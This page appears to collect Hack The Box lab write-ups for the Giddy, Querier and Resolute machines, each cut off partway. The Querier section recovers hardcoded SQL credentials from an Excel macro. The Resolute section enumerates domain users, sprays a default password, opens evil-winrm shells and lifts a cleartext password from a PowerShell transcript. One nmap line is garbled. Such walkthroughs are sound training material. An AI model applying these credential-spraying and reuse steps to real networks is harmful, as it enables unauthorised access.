Hero Image
[HTB] Machine: Giddy

Giddy

Enumeration

  • nmap
└─$ nmap -Pn -F 10.10.10.104 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-08 17:16 BST
Nmap scan report for 10.10.10.104 (10.10.10.104)
Host is up (0.12s latency).
Not shown: 97 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
3389/tcp open  ms-wbt-server
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 3.96 seconds
└─$ nmap -Pn -p80,443,3389,5985 -sC -sV 10.10.10.104 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-08 17:17 BST
Nmap scan report for 10.10.10.104 (10.10.10.104)
Host is up (0.12s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
|_ssl-date: 2023-09-08T16:17:11+00:00; -37s from scanner time.
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after:  2018-09-14T21:28:55
| tls-alpn: 
|   h2
|_  http/1.1
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2023-09-07T15:57:53
|_Not valid after:  2024-03-08T15:57:53
|_ssl-date: 2023-09-08T16:17:11+00:00; -37s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -37s, deviation: 0s, median: -37s
  • Web Server
    • Ports 80, 443

Hero Image
[HTB] Machine: Querier

Querier

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.125 -T4                                                            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 03:05 BST
Stats: 0:06:52 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 72.17% done; ETC: 03:15 (0:02:39 remaining)
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.15s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 693.11 seconds
└─$ nmap -Pn -p135,139,445,1433,5985 -sC -sV 10.10.10.125 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 03:18 BST
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.13s latency).

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.125:1433: 
|     Target_Name: HTB
|     NetBIOS_Domain_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Domain_Name: HTB.LOCAL
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|     DNS_Tree_Name: HTB.LOCAL
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.10.125:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2023-09-06T19:18:33+00:00; -7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-09-06T14:05:43
|_Not valid after:  2053-09-06T14:05:43
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-06T19:18:24
|_  start_date: N/A
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.61 seconds
  • smb
└─$ smbclient -N -L //10.10.10.125

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Foothold/User #1

  • //10.10.10.125/Reports
└─$ smbclient -N //10.10.10.125/Reports
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 28 23:23:48 2019
  ..                                  D        0  Mon Jan 28 23:23:48 2019
  Currency Volume Report.xlsm         A    12229  Sun Jan 27 22:21:34 2019

                5158399 blocks of size 4096. 828878 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (23.7 KiloBytes/sec) (average 23.7 KiloBytes/sec)
smb: \> exit
└─$ olevba 'Currency Volume Report.xlsm' 
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.11.4 - http://decalage.info/python/oletools
===============================================================================
FILE: Currency Volume Report.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
 
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open                |May open a file                              |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+
  • Let’s connect using impacket-mssqlclient
└─$ impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 32576
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> 

User #2

SQL> SELECT name FROM master.sys.databases;
name                                                                                                                               
--------------------------------------------------------------------------------------------------------------------------------   
master                                                                                                                             
tempdb                                                                                                                             
model                                                                                                                              
msdb                                                                                                                               
volume
SQL> use volume;
[*] ENVCHANGE(DATABASE): Old Value: volume, New Value: volume
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
SQL> select * from volume.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG                                                                                                                      TABLE_SCHEMA                                                                                                                       TABLE_NAME                                                                                                                         TABLE_TYPE   

--------------------------------------------------------------------------------------------------------------------------------   --------------------------------------------------------------------------------------------------------------------------------   --------------------------------------------------------------------------------------------------------------------------------   ----------   

SQL>
SQL> select name from sys.database_principals;
name                                                                                                                               
--------------------------------------------------------------------------------------------------------------------------------   
public                                                                                                                             
dbo                                                                                                                                
guest                                                                                                                              
INFORMATION_SCHEMA                                                                                                                 
sys                                                                                                                                
reporting                                                                                                                          
db_owner                                                                                                                           
db_accessadmin                                                                                                                     
db_securityadmin                                                                                                                   
db_ddladmin                                                                                                                        
db_backupoperator                                                                                                                  
db_datareader                                                                                                                      
db_datawriter                                                                                                                      
db_denydatareader                                                                                                                  
db_denydatawriter
SQL> SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');
entity_name                                               permission_name                                                
--------------------------------------                    ------------------------------------------------------------   
server                                                    CONNECT SQL                                                    
server                                                    VIEW ANY DATABASE

Hero Image
[HTB] Machine: Resolute

Resolute

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.169 -T4           
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 16:49 BST
Stats: 0:02:44 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 30.27% done; ETC: 16:58 (0:06:20 remaining)
Nmap scan report for 10.10.10.169 (10.10.10.169)
Host is up (0.16s latency).
Not shown: 65511 closed tcp ports (conn-refused)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49678/tcp open  unknown
49679/tcp open  unknown
49684/tcp open  unknown
49717/tcp open  unknown
50287/tcp open  unknown
└─$ nmap -Pn -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.10.10.169 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 18:02 BST
Nmap scan report for 10.10.10.169 (10.10.10.169)
Host is up (0.17s latency).

PORT     STATE SERVICE        VERSION
53/tcp   open  domain         Simple DNS Plus
88/tcp   open  kerberos-sec   Microsoft Windows Kerberos (server time: 2023-09-04 17:08:39Z)
135/tcp  open  msrpc          Microsoft Windows RPC
139/tcp  open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsof��λ�U Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap           Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf         .NET Message Framing
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2023-09-04T10:08:48-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2023-09-04T17:08:49
|_  start_date: 2023-09-04T15:51:23
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 2h26m23s, deviation: 4h02m30s, median: 6m22s
  • smb
└─$ smbclient -N -L //10.10.10.169                                              
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.169 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • rpc
└─$ rpcclient -U "" -N 10.10.10.169
rpcclient $> querydominfo
Domain:         MEGABANK
Server:
Comment:
Total Users:    79
Total Groups:   0
Total Aliases:  0
Sequence No:    1
Force Logoff:   -1
Domain Server State:    0x1
Server Role:    ROLE_DOMAIN_PDC
Unknown 3:      0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
rpcclient $> querydispinfo
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail      Name: (null)    Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela       Name: (null)    Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette      Name: (null)    Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika       Name: (null)    Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire       Name: (null)    Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude       Name: (null)    Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)    Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia      Name: (null)    Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null)    Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo      Name: (null)    Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus       Name: (null)    Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak       Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie      Name: (null)    Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki        Name: (null)    Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo        Name: (null)    Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per  Name: (null)    Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan  Name: Ryan Bertrand     Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally        Name: (null)    Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon        Name: (null)    Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve        Name: (null)    Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie       Name: (null)    Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita       Name: (null)    Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf  Name: (null)    Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null)    Desc: (null)
  • We can also dump information using ldapsearch
    • ldapsearch -H ldap://10.10.10.169 -x -b "DC=MEGABANK,DC=LOCAL"

Foothold/User #1

  • Okay, looks like marco is newly created account with comment Account created. Password set to Welcome123!
└─$ crackmapexec smb 10.10.10.169 -u marco -p 'Welcome123!'
SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\marco:Welcome123! STATUS_LOGON_FAILURE 
  • We could try password spraying with `Welcome123!
    • It could be that some of the users haven’t changed it yet
└─$ crackmapexec smb 10.10.10.169 -u users.list -p 'Welcome123!' --continue-on-success
SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\Guest:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [+] megabank.local\melanie:Welcome123! 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\zach:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\simon:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\naoki:Welcome123! STATUS_LOGON_FAILURE
  • We have a hit melanie:Welcome123!
    • Let’s try evil-winrm and it works
└─$ evil-winrm -i 10.10.10.169 -u melanie -p 'Welcome123!'     
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> 

User #2

  • We have another user ryan
*Evil-WinRM* PS C:\> ls -force users


    Directory: C:\users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/25/2019  10:43 AM                Administrator
d--hsl        7/16/2016   6:28 AM                All Users
d-rh--        9/25/2019  10:17 AM                Default
d--hsl        7/16/2016   6:28 AM                Default User
d-----        12/4/2019   2:46 AM                melanie
d-r---       11/20/2016   6:39 PM                Public
d-----        9/27/2019   7:05 AM                ryan
-a-hs-        7/16/2016   6:16 AM            174 desktop.ini
  • Before running winpeas, I will manually check obvious places
*Evil-WinRM* PS C:\> ls -force c:\


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-         9/4/2023   8:51 AM      402653184 pagefile.sys
  • C:\PSTranscripts
*Evil-WinRM* PS C:\PSTranscripts\20191203> ls -force


    Directory: C:\PSTranscripts\20191203


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--        12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
  • Let’s check the content
*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Command start time: 20191203063455
**********************
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
  • We found creds: ryan:Serv3r4Admin4cc123!
    • If we check ryan groups membership, we see that he can evil-winrm since he’s in Contractors group
*Evil-WinRM* PS C:\PSTranscripts\20191203> net user ryan
User name                    ryan
Full Name                    Ryan Bertrand
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/4/2023 10:36:02 AM
Password expires             Never
Password changeable          9/5/2023 10:36:02 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Contractors
The command completed successfully.
*Evil-WinRM* PS C:\PSTranscripts\20191203> net localgroup "Remote Management Users"
Alias name     Remote Management Users
Comment        Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.

Members

-------------------------------------------------------------------------------
Contractors
melanie
The command completed successfully.
  • Let’s connect
└─$ evil-winrm -i 10.10.10.169  -u ryan -p 'Serv3r4Admin4cc123!'     
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> 

Root

*Evil-WinRM* PS C:\Users\ryan> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
